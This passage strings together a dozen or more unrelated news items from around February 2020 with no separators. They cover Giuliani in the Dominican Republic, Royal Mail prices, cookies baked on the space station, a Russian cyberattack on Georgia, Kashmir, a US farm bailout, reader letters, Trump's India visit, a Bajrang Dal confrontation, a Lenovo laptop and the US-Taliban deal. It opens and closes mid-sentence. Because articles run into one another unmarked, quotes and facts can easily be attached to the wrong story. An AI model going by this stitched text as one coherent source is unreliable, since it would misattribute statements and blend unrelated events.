context." During his visit, Giuliani had dinner with Bernstein, the U.S. ambassador, and her husband, Richard, who were Republican donors and had both sold insurance to Trump while in Palm Beach. One person who attended the embassy dinner with Giuliani described it as a social call, not a political gathering. The only topic of conversation this person recalled was the recent deaths of tourists at Dominican resorts, an image crisis for the government at the time. The morning after his arrival, Giuliani had a breakfast meeting with Dominican journalists and then gave a news conference at the JW Marriott, according to the campaign. At that time, the constitutional question had seized Dominican politics. Critics of the proposal, including Abinader and other opponents, had staged protests and rallies to demand that the pro-Medina legislature not move forward with allowing a third term. "Keep the rules the way they are. Respect democracy," Giuliani told reporters that day. He mentioned he was speaking as a "private citizen." A story in the Diario Libre newspaper about his visit referred to him as "the lawyer for the president of the United States." A headline that day on Dominican Today, an online news site, read: "Giuliani jumps into Dominican Republic's reelection fray." His visit was closely monitored by aides to Medina, the current president, who scrutinized Giuliani's remarks to see if he was speaking on behalf of Trump. Abinader wanted "to associate himself with the Trump administration and show that he is America's man," said one senior Dominican official, who spoke on the condition of anonymity because he was not authorized to speak publicly. Abinader's rival candidates also saw Giuliani's presence as an attempt to signal an endorsement from the U.S. president. "It's a game of perception; they're trying to leave the impression" that "the government of the United States favors them," said Leonel Fernandez, a former president who is running again this year. "In the end, the Dominican voters are going to decide. They don't care whether President Trump is in favor or against." Alvarez, the adviser to Abinader, denied that, saying the relationship with Giuliani was only about advice on security matters. "Never did we use his contact in order to move U.S. policy," he said. After two days, Giuliani jetted out of Santo Domingo. The Abinader campaign is now getting consulting advice on security issues from a former Giuliani partner, John Huvane, who left Giuliani's firm in October, officials said. Huvane did not respond to a request for comment. In recent polls, Abinader has held a strong lead - more than 10 points - over his two main rivals, including Medina's handpicked successor. The election will be held in May. - - - The Washington Post's Anthony Faiola, Tom Hamburger and Alice Crites contributed to this report. The Royal Mail has said it will increase the price of first class and second class stamps by up to six pence. The postal firm said the price of a first class stamp will jump 6p to 76p and the price of a second class stamp will rise 4p to 65p from March 23. The company said the price increases are 'necessary' to ensure the sustainability of its universal service. The price of a first class stamp will be increased by 6p to 76p and the price of a second class stamp will rise 4p to 65p, the Royal Mail said. Stamp prices in the UK rate among the best value in Europe, the company added. Royal Mail said it is 'operating in a challenging business environment' and is likely to be loss-making in the current financial year. Stephen Agar, managing director of letters at Royal Mail said: 'We are operating in a tough market at present, under the threat of making a loss by 2021. 'These price increases will help us maintain the quality of service that is expected by our customers, while supporting the universal service.' Royal Mail said it is 'operating in a challenging business environment' and is likely to be loss-making in the current financial year Last March, the price of a 1st Class stamp increased by 3p to 70p and a 2nd Class stamp by 3p to 61p. Royal Mail said it had reviewed the changes 'very carefully' while seeking to minimise any impact on customers. It said researched had found the European average for 1st Class letters weighing up to 100g is 99p, while the same figure for 2nd Class letters of the same weight is 77p. The second of five DoubleTree by Hilton chocolate chip cookies is seen after being baked using Zero G Kitchen and Nanoracks' Zero G Oven aboard the International Space Station. The first cookie to be baked in space may soon be bound for the Smithsonian. Recently, DoubleTree by Hilton announced the results of the first-ever bake-off held off the planet and in doing so, hinted at a future on display for at least one of its signature chocolate chip cookies returned to Earth from the International Space Station (ISS) in January. "Perfecting the baking process for our DoubleTree cookies took time, even on Earth, so we were excited to learn that our cookies appear to look and smell the same on the ISS as they do in our hotels," Shawn McAteer, DoubleTree's senior vice president and global head, said in a statement. Related: Space Food Evolution: How Astronaut Chow Has Changed (Photos) The baked-in-space cookies, which were made with the same dough that is used for the cookies guests receive when checking into DoubleTree hotels, still need to be examined by food scientists to better understand the performance of the oven in which they were prepared. After that study is complete, though, one or more of the cookies may join other examples of historic space food on exhibit. "DoubleTree by Hilton plans to preserve the cookies where visitors can view them and learn more about this experiment and has offered to donate one to the Smithsonian National Air and Space Museum where it is being considered for collection," the hospitality company said in a press release. Of space, time and cookies The DoubleTree cookie dough for five cookies was launched to the International Space Station in November 2019, on the same commercial resupply mission that delivered the specially-designed oven needed to bake them. The Zero G Oven was created by Zero G Kitchen, a startup developing culinary appliances for use in microgravity, and Nanoracks, a space services company that for the past 10 years has been deploying payloads to the space station. "We are thrilled to see our oven, the first part of the space kitchen we set out to build more than two years ago, be used to bake food in space for the first time," Ian Fichtenbaum, co-chef and co-founder of Zero G Kitchen, said in a statement issued by DoubleTree by Hilton. "We already know the results of this experiment are sweet, and we look forward to now understanding how our oven and the cookie findings may build a new frontier for hospitality." NASA astronaut Christina Koch inspects the first of DoubleTree by Hilton's chocolate chip cookies to be baked using Zero G Kitchen and Nanoracks' Zero G Oven on board the space station. (Image credit: NASA) The astronauts aboard the space station, including Luca Parmitano of the European Space Agency (ESA) and Christina Koch of NASA, oversaw the baking of the cookies, one at a time, over several days in December, adjusting the baking time for each. The first cookie was placed into the 300 degree Fahrenheit (150 degree Celsius) electric oven for 25 minutes and came out under baked. The second and third cookies released a freshly-baked scent after being heated for 75 and 60 minutes, respectively. The fourth cookie, which was baked for 120 minutes and then left to cool outside of the oven for 25 minutes, and the fifth cookie, which was baked for 130 minutes (and then left to cool for just 10 minutes after), were the most successful. "I can smell it, and I do observe some chocolate melting," reported Parmitano after removing from the oven the fifth cookie, which was baked at 325 degrees Fahrenheit (160 degrees Celsius). "But it certainly doesn't look like cookie dough anymore." A DoubleTree by Hilton chocolate chip cookie floats in the Cupola on the International Space Station before being baked using Zero G Kitchen and Nanoracks' Zero G Oven. (Image credit: NASA) The time and greater heat needed to fully bake the dough was a surprise. By comparison, the average DoubleTree chocolate chip cookie bakes in a convection oven here on Earth for 16 to 18 minutes at 300 degrees Fahrenheit. The Zero G Oven uses conduction, rather than convection, to bake its contents. "While we have initial visual and scent feedback from the crew aboard the ISS, we're excited to dive into fully understanding the baking results including breaking down why the bake time and temperature in space varies from what we are used to seeing on Earth, as well as if the baking tray, which was designed specifically for microgravity, impacted the final shape of the baked cookies," said Nanoracks' senior internal payloads manager, Mary Murphy. Cookie conversation Three of the cookies that were baked in space were returned to Earth on Jan. 7 and are now being stored at Nanoracks' facilities in Webster, Texas. DoubleTree by Hilton is working with food science professionals to determine the best way to preserve the cookies for their long-term display. "The innovation displayed throughout this experiment and emphasis on making long-duration space travel more hospitable underscores our ongoing commitment to ensuring guests always have a comfortable stay, wherever they may travel," said McAteer. The National Air and Space Museum's collection committee will convene soon to decide if it will accept the offered cookie for exhibit. Astronauts Luca Parmitano and Christina Koch pose with a freshly-baked space cookie and milk. (Image credit: NASA) "Because of the type of packaging, because of the contents, we don't yet know what the requirements for display and conservation will be, but I think that is worth exploring in terms of our long-term preservation [of the cookie] if we are to acquire it," Jennifer Levasseur, a curator at the National Air and Space Museum, said in an interview with collectSPACE. If accepted, the DoubleTree cookie will join other space food in the Smithsonian's collection, including applesauce flown for astronaut John Glenn on the United States' first orbital spaceflight in 1962, brownies flown on the Apollo 11 first moon landing mission in 1969 and both Coca-Cola and Pepsi soda cans flown on the space shuttle Challenger in 1985. "For me as the curator, if we are able to collect this, I think [the DoubleTree cookie] ranks pretty much near the top," said Levasseur, "in part because it exemplifies the balance between nutrition and psychology, something I speak about often in terms of our space food collection." "We all know on Earth that food holds more of a place in our lives than just a nutritional place, it is also about the psychological effect it can have," she explained. "I think this cookie might be the best representation we could have of that, in that if you have gone to a DoubleTree hotel you would know that getting that cookie is a kind of a cool thing. I think, likewise, this being the beginning of a new path for space food, where we are now thinking about how to prepare food for space, not how to consume them alone, is a really big transition. This becomes a model for how things are made going forward." Follow collectSPACE.com on Facebook and on Twitter at @collectSPACE. Copyright 2020 collectSPACE.com. All rights reserved. As President Donald Trump aims to win Pennsylvania again, his campaign contends he may pick up support from those who didnt vote for him three years ago. A new study suggests Trump may benefit from an unexpected source in Pennsylvania: those who typically dont vote. Tbilisi And Washington Blame Russia For October Cyberattack On Georgian Websites By RFE/RL's Georgian Service February 20, 2020 Georgia and the United States have blamed Russia for a massive coordinated cyberattack that took thousands of Georgian websites offline in October. Foreign Ministry spokesman Vladimer Konstantinidi told a news conference in Tbilisi on February 20 that the cyberattack was planned and carried out by Russia. "The investigation conducted by the Georgian authorities, together with information gathered through cooperation with partners, concluded that this cyberattack was planned and carried out by the main division of the General Staff of the Armed Forces of the Russian Federation," Konstantinidi said. Separately, U.S. Secretary of State Mike Pompeo said in a statement that the attack was carried out by a unit of Russia's GRU military intelligence agency known as Unit 74455 and Sandworm. Sandworm is known as a single group of hackers within the GRU and security experts have linked it to such cyberbreaches as stealing 9 gigabytes of emails from the French presidential campaign of Emmanuel Macron, a similar campaign against the Democratic National Committee in the United States, as well as the malware that hit Ukraine's power grid in 2015 and spread globally. "The United States calls on Russia to cease this behavior in Georgia and elsewhere," Pompeo said, adding that Washington would provide assistance to Georgia to help improve the country's ability to fend off such attacks. "We also pledge our support to Georgia and its people in enhancing their cybersecurity and countering malicious cyber actors," Pompeo added. Russia denied involvement in penetrating Georgian government websites. "Russia did not plan and is not planning to interfere in Georgia's internal affairs in any way," Russian Deputy Foreign Minister Andrei Rudenko told Russian news agencies. The Russian Defense Ministry did not immediately comment. More than 2,000 state, private, and media websites as well as two private television stations -- Imedi and Maestro -- were knocked out on October 28. The targeted websites included those of the president's office and local municipality offices. In many cases, website home pages were replaced with an image of former President Mikheil Saakashvili, and the caption "I'll be back." With reporting by Reuters Source: https://www.rferl.org/a/tbilisi-washington -blame-russia--cyberattack- georgian-websites/30445595.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Indian and Pakistani soldiers exchanged fire near the Line of Control (LoC) in north Kashmirs Kupwara, officials said on Friday. The exchange of fire took place at the LoC in Keran sector on Thursday night. The army said Pakistani soldiers violated the ceasefire agreement by firing first. Official said the Indian army retaliated by firing at the Pakistani posts in the Neelam sector. There is a possibility that Pakistani bunkers suffered damages, an official statement said. There have been several incidents of ceasefire violations by Pakistan in the last two months in Uri, Gurez and Keran sectors along the LoC resulting in retaliatory firing by India. Last month, an army soldier and a 22-year-old woman were killed in north Kashmirs Uri sector. On December 16, a soldier was killed in another ceasefire violation by Pakistan in Gurez Sector. On Wednesday JK Director General of Police, Dilbag Singh, said ceasefire violations had increased recently with an intent to push terrorists through. They (Pakistan) want to keep the LoC and border active and pushing terrorists during ceasefire violations. Singh added that a large number of militants were waiting on the launching pads across the boundary. This year the launching pads did not withdraw completely and witnessed more activity, he said. A charity has urged farmers in Scotland to remain vigilant of signs of deteriorating mental wellbeing as the busy period of spring work approaches. With the main lambing and calving season just around the corner, RSABI is highlighting the importance of an open discussion about mental mental and stress. According to Mags Granger, RSABI Welfare Manager, there are a number of signs to look out for, in others and ourselves, which could be indicators that all is not right. "It is important that we are vigilant all year round for any indications that something may be wrong with ourselves or with a friend, relative or neighbour," said Mrs Granger. "However, it is more important than ever to look out for signs that people may be feeling pressure at this time of year when farmers, and others involved in agriculture, are at particular risk of stress due to long hours and tiredness." Signs to look out for include someone looking unusually dishevelled or perhaps drinking more alcohol than they would usually. People who are affected may be grumpier than usual and reluctant to go out and about or answer the phone, as well as failing to prioritise important tasks. The key, said Mrs Granger, is to look for a change from what is normal for the individual causing concern. She is urging people not to ignore any signs which become evident: "Ask them if everything is ok. If there is something wrong, the sooner that help is sought the better. "The stark reality is that every week one farmer in the UK commits suicide so it is much better to ask and see if you can help than to wish you had asked after it is too late." The farming charity is also emphasising the need to talk as openly as possible about mental wellbeing. "One in four of us will experience mental health problems at some point in our lives and the ability to discuss mental health openly is key to tackling the issues which lie behind it, Mrs Granger added. The main thing, she said, is to be able to listen in the case of someone who may have mental health problems. "Dont expect to be able to suggest answers for all the problems another person is going through. You are not expected to fix everything but you can listen and encourage them to seek help." RSABI runs a confidential helpline 0300 1114166 which people from Scottish agriculture are encouraged to call if they are in need of support. The helpline operates from 7 am to 11 pm 365 days a year. The farming charity said it is currently helping 25 30 new clients every month. WASHINGTON President Donald Trump may expand a U.S. Department of Agriculture bail-out program that has given over $90 million to New York farmers following projections indicating weaker-than-expected exports to China. Meanwhile, the U.S. Government Accountability Office on Feb. 14 said it will investigate whether the $28 billion program, aimed at helping farmers hurt by recent trade relations, was mismanaged. The announcement followed allegations that it unfairly boosted southern farms and large farms. Trump declared on Twitter that he may continue the two-year trade bailout program after a top Agriculture Department economist projected on Thursday that U.S. exports to China will fall far short of White House projections. Trump defended the program Friday, tweeting in all capital letters, "If our formally targeted farmers need additional aid until such time as the trade deals with China, Mexico, Canada and others fully kick in, that aid will be provided by the federal government, paid for by the massive tariff money coming into the USA!" We certainly havent seen the market rise as we were hoping after the Phase One Agreement but I believe it will," said Sonny Perdue, the U.S. secretary of Agriculture. "The good news is that there were hard-line numbers that President Trump negotiated over the import expectations that were unilaterally enforced with the ability for us to put tariffs back on if they are not meeting expectations weve developed a complex, detailed, data-driven matrix to measure that on an ongoing basis and I expect them to live up to that. With the China Phase One Deal, the Japan agreement, and the USMCA, we expect exports to grow and to get better. ... I hope we can show that a third round is not needed for 2020 we still believe farmers want trade rather than aid. The U.S. signed a partial trade deal with China in January, in which China agreed to purchase $40 billion in U.S. farm goods this year. A lengthy trade dispute between the U.S. and China had imposed new tariffs on many major U.S. agricultural exports. The Market Facilitation Program, which is funded by American tax dollars, was not approved by Congress, but created by the Trump administration in 2018 using another law authorizing a separate program. In 2018 and 2019, the program paid out about $19 billion to farmers. "While we would always pick trade and market access over the MFP, the support was appreciated since farmers were caught in the middle of the trade war and were feeling the brunt of the retaliatory tariffs," said Steve Ammerman, a spokesman for the New York Farm Bureau. "Farming is a capital-intensive business. Farmers can have hundreds of thousands of dollars tied up in equipment, land and crops. Just like most American families, an immediate, unexpected drop in income puts the entire household at risk." A review of the program was requested by U.S. Sen. Debbie Stabenow, D-Mich. A report by her office found southern farmers were overwhelmingly paid at higher rates than farmers from other regions that have experienced greater negative trade impacts. The report found like-sized farms that grew similar crops could see drastically different payments based on their region of the country. For example, it found an average-sized farm of 443 acres would be paid $66,450 in parts of Georgia, $60,428 in parts of Texas, $11,518 in parts of New York and only $6,645 in Wyoming. Stabenow's report found the structure of the payment program favored large, southern farms growing row crops, instead of prioritizing small farms. The program also paid $90 million to a Brazilian meat company, the report said. Both Republican and Democratic lawmakers have asked for investigations of those payments. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. USDA data obtained by the Times Union shows the program has, so far, made over 13,000 individual payments to New York farmers in 2018, 2019 and 2020. The payments range from $2 to $303,003. The average payment to a New York farm was about $6,000 in 2018 and about $14,703 in 2019, the USDA data indicated. Some farms received multiple payments. The Market Facilitation Program paid out $7 million to farmers in the district of U.S. Rep. Elise Stefanik, R-Schuylerville, and about $2.7 million to farmers in the district of Rep. Antonio Delgado, D-Rhinebeck, an analysis by the nonprofit Environmental Working Group found. Stefanik said she has not heard from farmers in her area about it. "I always think its important that we make sure that taxpayer dollars are spent wisely," she said. "I look forward to reading the GAO report. ... It's something I'll pay attention to." Cayla Harris contributed to this report. Concerning Vote or else (Editorial, Feb. 20): San Rafael Assemblyman Marc Levins AB2070, which would require all registered Californians to vote, is absurd. Id rather see legislation passed that would curtail the ballot initiative process and forbid the payment of signature gatherers by special interest groups. Voting information pamphlets are beginning to resemble Leo Tolstoys War and Peace, and marking ballots is often a Byzantine process. The way to ensure greater voter participation is by simplifying how we vote, not threatening those who dont. Xavier Betancourt, San Francisco Trump won debate Have the Democratic presidential candidates lost their collective minds? Im beginning to think so after reading Bloomberg takes a beating in his first Dem debate (Feb. 20). Not only did this debate feature former New York City mayor Michael Bloomberg getting eviscerated by Sens. Bernie Sanders and Elizabeth Warren for his former stop-and-frisk policing policies and alleged mistreatment of female employees it also included Sen. Amy Klobuchar and former Indiana mayor Pete Buttigieg taking potshots at each other over their levels of political experience. Amazingly, the only winner of this roller-derby-styled debate was someone who was not even on the stage with the candidates: Donald J. Trump. Finn MacLaughlin, Daly City Curb carbon emissions Regarding Deluge delivers severe flooding in Britain (Feb. 18): I think its a crucial point that climate change has a twofold effect, contributing directly to the harrowing destructiveness of Hurricane Dennis and the greater frequency of such storms. That these events take place on far shores doesnt make the images of human turmoil any more distant, and I think it only makes it more certain that climate change is a humanitarian issue, one that we can take up here through support of the Energy Innovation and Carbon Dividend Act, HR763. America is the second-largest carbon emitter behind China. Rather than lead in a metric of irresponsibility, why not demonstrate to countries like China and the next leading emitters that curbing emissions needs to be effected by policies adopted by the government? HR763 provides an effective means of reducing our carbon emissions. A tax, which would be paid back to the consumer in the form of a dividend, ought to be considered if we are to be chastened by the reports of this article and wish to act meaningfully. Jon Hoy, Greenbrae Left with the bill Regarding Farmers, but not fish, cheer Trump (Page 1, Feb. 20): President Trumps appearance in Bakersfield to sign a federal plan that loosens restrictions on water deliveries to farmers in the Central Valley was a campaign stunt to shore up his support in rural areas. And while environmentalists are rightly outraged by this plan to siphon more water out of the Sacramento-San Joaquin River Delta without ensuring protections for fish like the chinook salmon, steelhead trout and the endangered delta smelt, American taxpayers should be equally outraged for having to foot the bill for a presidential visit intended to boost his re-election prospects. Herman Rivera, San Jose Ask for climate action Regarding What billionaires like Jeff Bezos give matters (SFCchronicle.com, Feb. 19): I find it easy to agree with Owen Thomas opinion on Jeff Bezos $10 billion pledge. I agree that Bezos could further align Amazons business priorities with societys climate priorities for example, using all electric or plug-in hybrid electric vehicles to deliver our Amazon Prime packages. At the same time, I want to acknowledge Bezos leadership in the right direction. We do need research into technologies that will maintain our advanced lifestyles and economies without harming the environment. We need to favor vehicles that dont add greenhouse gases to our atmosphere either in the production or the use. One way to achieve that is with a carbon dividend plan on fossil fuels that incentivizes smart behavior while easing the financial impact on individuals. I thank Rep. Anna Eshoo for supporting HR763, legislation that could accomplish just that, and encourage each of us to continue asking for climate action. Julie Steury, Mountain View Stonewalled reform Gov. Gavin Newsoms plan for water allocation is to bring all parties to the table and work out a voluntary, consensus solution. This has been tried many times over the past 50 years, with zero success. Rural landowners have participated only reluctantly and have a long history of suing over the resulting recommendations. Owners of agricultural land have been stonewalling water reform for years, and its mostly worked. Moreover, their appetite for more water (paid for by us taxpayers) will never, ever be satisfied because they can always irrigate more acres. Voluntary solutions to the loss of our fisheries will never work. The concerns of rural landowners should be considered, but not to the point of giving them a veto over protecting our fish. If Newsom lacks the backbone to take on Big Agriculture, we should get another governor. Lawrence Kolb, Oakland Health care desert Americas health care system is in crisis and its being played out right here in Daly City, in the heart of one of the richest regions in the world, the San Francisco Bay Area. As fears mount that the owner of Seton Medical Center has no intention to sell it for continuing hospital use because of the value of its land, San Mateo County officials are now facing pressure to purchase the iconic former Daughters of Charity hospital. Unfortunately, there appears to be little support for this idea. The county has already contributed $40 million for operations and seismic upgrades to the hospital and should not fund it anymore, critics say. Ive been told that other nearby hospitals can absorb Setons patients and that the nurses who work there should have no trouble finding jobs elsewhere. I strongly disagree. Without Seton there would be a vast health care desert in northern San Mateo County and southeast San Francisco just ask the doctors who work there. Seton serves primarily patients with ZIP codes in Daly City, the countys largest and most diverse city. Its patients are essentially people of color on the elderly side who are mostly insured by Medicare or Medi-Cal. These are my constituents, and their lives are being put at risk by squabbling billionaires. This never should have happened. Verity had a buyer but for some reason has rejected a bid it initially accepted. This leaves me with no choice but to propose that San Mateo County buys the hospital. David Canepa, Board of Supervisors, San Mateo County, Daly City Policies wont work I was somewhat encouraged to read your article, Newsom zeroes in on states disgrace (Page 1, Feb. 20). At some point, he might realize that his policies, and more free stuff, coupled with higher and higher taxes on the middle class, are not part of the solution. At some point, even the middle class might reach the same conclusion, that Newsoms policies are wrong, and demonstrate their concerns at the ballot box. Then again, this is the Bay Area of California, where ideologies usually trump facts and reality. Pragmatism and tough decisiveness almost always lose out. Ahmedabad: As India gears up to welcome US President Donald Trump, his roadshow in Ahmedabad has been reduced from 22 km to 9 km. Trump along with Prime Minister Narendra Modi will conduct a roadshow which will start from the Ahmedabad airport and will go towards Motera via Koteshwar in Gandhinagar. The reduction has been made after the cancellation of Trump's visit to Gandhi Ashram. Out of the 9-kilometer long roadshow, 4 kilometers will be in Gandhinagar. SRP and other security agencies along with seven SP class officers and over 2000 police personnel have been given responsibility by the IG of Gandhinagar to take care of the security system during the four-km roadshow in Gandhinagar. President Trump will be inaugurating the world's largest Motera stadium in Ahmedabad and nearly one lakh people will be attending the grand event of 'Namaste Trump' in Gujarat. Around 2000 bus will be deployed to bring people to the stadium. Motera has a seating capacity of more than 1,10,000 people. A special entrance has been prepared for the event and more than 200 steps are made ready inside the ground. President Trump and First Lady Melania are scheduled to travel to Ahmedabad, Agra, and New Delhi on February 24 and 25. Ahead of the visit, there have been talks about India and the United States agreeing on a trade package as a precursor to a major trade deal. A high-level delegation including Treasury Secretary Steven Mnuchin and Commerce Secretary Wilbur Ross will also be travelling to India along with Trump.This will be the fifth meeting between PM Modi and Trump in the last eight months. The announcement of Trump`s first official visit to India was earlier made by the White House, which, in a statement, said that the US President and PM Modi had agreed during a recent phone conversation that the trip will "further strengthen the United States-India strategic partnership and highlight the strong and enduring bonds between the American and Indian people". Within hours after Chikkamagalur girl Amulya Leona Noronha shouted Pakistan Zindabad at a public meeting in Karnataka capital Bengalurus Freedom Park, Bajrang Dal activists stormed her parents house in Shivapura village in Koppa last night. An exclusive video shot by a Deccan Chronicle reporter shows activists barging into Amulya Leonas house in Chikkamagalur and demanding an explanation from her father for her anti-national behaviour at the protest venue in Bengaluru. The college student stunned the audience yesterday when she launched off into a speech in which the phrase Pakistan Zindabad stood out but the import of what she meant to say is still not clear. In the video of the incident, Amulya is seen shouting Pakistan Zindabad thrice before Hyderabad MP Asaduddin Owaisi and others rush to snatch away the mike from her. They admonish her, saying she cant make such statements. To them Amulya says in Hindi, You have given me the mike, so let me speak. Later she is heard saying Hindustan Zindabad. By which time the crowd and those on the dais go berserk and a policeman whisks her away even as she is saying, "When I say Pakistan Zindabad, Hindustan Zinadabad, the difference is... As the incident created a statewide sensation, a band of Bajrang Dal activists descended on Amulyas fathers house in Koppa in Chikkamagalur late in the evening and engaged him in a heated exchange over the conduct of his daughter. (Later, after the activists left the scene, stones started raining down on the house.) Amulyas father Vaji (who incidentally is the Hariharapura JD(S) Hobli president) was bullied by Bajrang Dal activists who asked him if what his daughter said was acceptable to him. Here are excerpts from the exchange between Amulya Leonas father and the Bajrang Dal activists. BD: Are you okay with your daughters statement? Father: No, I dont approve of it. Its definitely a mistake. BD: Would you let her come back to your house? Father: Yes, she is my daughter....(inaudible due ambient noise) BD: Do you mean to say that you would shelter an anti-national? Father: No. I wont let her come back. Let her stay in jail for a while. At this point, Bajrang Dal activists get wild and one of them is heard saying: You know what you are talking? Be grateful that we did not vandalise your house or even bomb you. We are being nice to you. Father: (Doesnt know how to react, so just nods in acceptance.) BD: What action do you think the Centre should take against her? Father: Let her rot in jail. Let the law takes its course and let her be punished as per law. I have no problem with that. BD: What kind of daughter have you raised? Didnt you know that she spoke made many anti-Modi statements 10 days ago? Father: Yes. I am aware of it. And not just me, the entire family feels let down by her behaviour. Shes always been a rebel and never once paid heed to our words. Her provocative speeches are a result of her hanging around with some Muslim people (this he says in a hushed tone) BD: Why did you tone down? Who are you afraid of? Your daughter said that when she spoke against Modi, you called to check if she was safe. Where the hell do you think you are living, in India or Pakistan? We love Hindustan and we are Hindus. Do you love your country or not? Father: I am a Hindu too and love my country. I havent been in touch with her (his daughter) over the last five days. In fact I recently stayed in Bengaluru persuading her to abandon all the activism and return home but she didnt budge. In fact the last time I called, I asked her to take me to hospital as I am a heart patient. Even then she didnt want to come. BD: Say Hindustan Zindabad. Zor se bolo. Father: Hindustan Zindabad Watch video here... The Vietnamese side shared activities to be held in 2020 when the country assumes the role of ASEAN Chair and non-permanent member of the UN Security Council. Japan believed that with careful preparation, Vietnam would successfully host important activities, including ASEAN Defence Ministers Meeting (ADMM ), 10th anniversary of ADMM , international exhibition of defence equipment, and international conference on the role of women and UN peacekeeping activities. Regarding bilateral defence partnership, the two sides agreed to boost the exchange of delegations, especially among high-level ones, maintain and improve collaboration mechanisms, particularly the deputy-ministerial defence policy dialogue, UN peacekeeping, cyber security, search and rescue, and settlement of post-war consequences. The same day, Deputy Defence Minister Nguyen Chi Vinh had talks with his Japanese counterpart Nishida Yasunori. Earlier he met with Japanese Minister of Defence Taro Kono. He invited the minister to pay an official visit to Vietnam at a convenient time, and attend the ADMM , scheduled for October 2020. The Japanese minister accepted the invitation with pleasure and affirmed his support for Vietnam in the ASEAN Chairmanship Year 2020. He also voiced his hope of organising the ASEAN-Japan Defence Ministers' Informal Meeting on the sidelines of the ADMM in Vietnam. The new Lenovo Xiaoxin Air 14 is a notebook with a 14 inch, 1920 x 1080 pixel display, a 56.5 Wh battery, support for up to 16GB of RAM and 512GB of storage. Lenovo will offer the laptop with up to an Intel Core i7-1065G7 Ice Lake processor. But what makes this 3.1 pound laptop (slightly) unusual is that its one of the first PCs to ship with support for NVIDIAs new GeForce MX350 graphics. Lenovo will begin selling the Xiaoxin Air 14 in China on February 27th for about $725 and up. But I suspect well see a similar laptop with Lenovo IdeaPad branding in the US sometime soon. While the GeForce MX350 is based on NVIDIAs aging Pascal architecture, its a 25 watt GPU that should offer a considerable performance boost over NVIDIAs older entry-level laptop graphics solutions thanks to significant increases in the number of CUDA cores, texture units, memory bandwidth, and transistor count. Im a little surprised to see Lenovo pair an MX350 CPU with an Intel Ice Lake processor featuring Iris Plus graphics though. I would have thought it would have been a better fit for a system with Intels Comet Lake-U chips which have less impressive integrated graphics than Ice Lake chips. The Lenovo Xiaoxin Airs other features include a backlit keyboard, a fingerprint sensor, a full-sized HDMI port and SD card slot, a USB Type-C port, and two USB 3.1 Gen 1 ports. While theres no word on a US release date or price, the companys IdeaPad 700 and 900 series notebooks appear to have a noticeably similar design to the Xiaoxin Air 14. via GizChina, GizmoChina, and TechGenyz The United States and the Taliban are on the verge of signing a historic deal that could pave the way to ending Americas longest-ever war. The deal due to be signed on February 29 will trigger the phased withdrawal of foreign troops from Afghanistan and kick off talks among warring Afghan factions over a power-sharing arrangement. The deal hinges on the success of a weeklong reduction of violence that takes effect at midnight on February 22. If the partial truce holds, the United States and the Taliban will sign the peace deal with the backing of the Western-backed government in Kabul. The culmination of more than 18 months of grueling talks, the deal is seen as a major step toward ending the nearly 19-year war. But experts say the agreement is laden with pitfalls and key components remain murky, warning that spoilers and a political crisis in Kabul spurred by an election dispute could derail the process. 'Reduction Of Violence' During the weeklong reduction of violence due to start on February 22, U.S. and Afghan forces on one side, and Taliban militants on the other, will refrain from conducting major operations. The partial truce excludes terrorist groups, including Islamic State (IS) and Al-Qaeda. A senior U.S. official, who spoke on condition of anonymity, told reporters that the Taliban had committed to halting roadside and suicide bombings as well as rocket attacks. The official said the United States would monitor the truce and determine if there are any violations. A senior Afghan official, also speaking anonymously, told RFE/RL that the Taliban had committed to reducing its attacks from around 75 operations per day to under 15. The militants would refrain from attacking major cities, highways, and U.S. and Afghan bases, he said. U.S. and Afghan forces would not carry out any offensive operations, but they have the right to respond if attacked, the Afghan official said. The temporary truce, however, falls short of a key U.S. and Afghan demand: a cease-fire. The seven-day violence-reduction agreement is significant because of the precedent it would set -- there's never been anything like it during 19 years of war -- and because of the pathway it would provide to launch a formal peace process, said Michael Kugelman, South Asia associate at the Woodrow Wilson International Center for Scholars in Washington, D.C. To be sure, it's not a cease-fire, but it's the next best thing and the best shot at launching a long-elusive peace process, he added. Haroun Mir, a Kabul-based analyst, said the Taliban refused a cease-fire because it would weaken its leverage in negotiations and "undermine their narrative, which is the locomotive behind recruiting new fighters and keeping them motivated." But the truce could be undermined by potential spoilers from all sides. Hard-line Taliban factions opposed to the talks, pro-government factions that believe the conditions are not conducive to talks, and the various violent groups not involved in talks -- including IS militants -- could all seek to sabotage negotiations, Kugelman said. U.S. Withdrawal Agreement If the weeklong reduction of violence holds, the United States and the Taliban will officially sign the peace accord on February 29. The deal is largely the same one negotiated in September before U.S. President Donald Trump abruptly pulled the plug after a deadly Taliban attack that killed an American soldier. Under the agreement, the United States will start a phased withdrawal of its approximately 13,000 troops in Afghanistan. Washington will initially remove 5,400 troops within 135 days of signing the agreement. The rest will pull out within the next 18 months if the Taliban meets its own commitments. Mir said the U.S. decision to sign a withdrawal agreement with the Taliban and provide a timetable for its military pullout is a victory for the Taliban. The Taliban could hold off the talks and use different violent tactics to further loosen Washington's resolve, he said. They know well that the ongoing political fragmentation and infighting among the political elite in Kabul will give them the upper hand in the intra-Afghan negotiations because they don't function according to a timetable. Under the deal, the Taliban will severe its ties with Al-Qaeda, a largely diminished force. The United States invaded Afghanistan in 2001 and ousted the Taliban after it refused to hand over Al-Qaeda leaders behind the September 11 attacks. The Taliban is also committed to preventing terrorist groups, including IS militants, from operating in or carrying out attacks from areas in Afghanistan controlled by the Taliban. The militant group controls or contests about half of the country, although it does not rule any major urban areas. Intra-Afghan Talks The militant group is also obliged to launch direct peace negotiations with government officials and other Afghans, including women and civil society groups. The talks are likely to take place in Norway. The U.S.-Taliban agreement has arguably left the two thorniest issues -- a permanent cease-fire and a future power-sharing agreement -- to be decided in intra-Afghan talks. The fact that these two issues have been relegated from the U.S.-Taliban talks -- because the Taliban did not agree to them -- to the new set of negotiations indicates that the bilateral U.S.-Taliban agreement is not a peace agreement, said Thomas Ruttig, co-director of the independent Kabul-based Afghanistan Analysts Network. Peace and a comprehensive cease-fire first is what Afghans wish [for] the most, added Ruttig. But to expect that the Taliban would agree to a cease-fire at the start of intra-Afghan talks might be unrealistic. Considering the sensitivity of the issues and the chronic divisions among the Afghan political elite, Ruttig said he expected intra-Afghan negotiations to be very complicated and possibly take a long time. The talks are expected to start within 10 days of the deal being signed. The Taliban had long rejected direct talks with Kabul, which it considers a U.S. puppet. During intra-Afghan talks, government officials will participate in a private capacity. Underscoring the potential challenges, Kabul has yet to name a negotiating team to 